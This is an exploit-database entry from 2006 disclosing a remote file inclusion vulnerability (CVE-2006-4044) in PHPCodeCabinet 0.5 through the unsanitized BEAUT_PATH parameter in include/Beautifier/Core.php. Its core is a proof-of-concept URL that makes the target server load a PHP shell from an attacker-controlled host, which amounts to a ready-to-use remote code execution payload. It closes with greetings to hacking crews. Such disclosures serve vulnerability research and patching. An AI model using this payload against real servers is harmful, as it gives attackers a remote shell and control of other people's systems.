PHPCodeCabinet 0.5 - 'Core.php' Remote File Inclusion

Author: Minion
type: webapps
platform: php
port: 80.0
date_added: 2006-08-06 
date_updated: 2016-09-01 
verified: 1 
codes: OSVDB-27795;CVE-2006-4044 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpcc-0.5.tar.gz

>From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

http://target/phpcodecabinet_directory/include/Beautifier/Core.php?BEAUT_PATH=*evilsite*/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.

# milw0rm.com [2006-08-07]